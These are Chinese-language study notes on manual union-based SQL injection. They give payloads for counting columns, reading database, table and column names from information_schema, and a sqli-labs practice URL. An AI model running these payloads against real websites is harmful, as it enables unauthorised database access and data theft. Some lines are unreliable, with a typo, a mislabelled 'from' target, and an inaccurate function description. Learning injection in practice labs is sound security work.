手工SQL注入学习笔记
数字不断增加直到报错消失,可判断出字段长度
union select 1,2,3,4
假如字段数为4,database()代替4进行占位,用来执行命令,可查询库名
union select 1,2,3,database()
geoup_concat(table_name)用来占位,查询后面指定的数据库中的表
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’
group_concat(column_name)用来占位,查询后面指定表中的字段
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘表名’
查看字段具体内容
union select 1,内容,3,4 from 字段名
常用函数
system_user() 显示系统用户
user() 显示全部用户
current_user() 显示当前用户
database() 显示数据库
version() 显示版本信息
@@datadir() 显示mysql的安装路径
@@version_compile_os 显示当前的操作系统
group_concat() 将所有的数据进行连接拼接进行显示
eg:
sqlilab/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
concat_ws('~',A,B) 取出A~B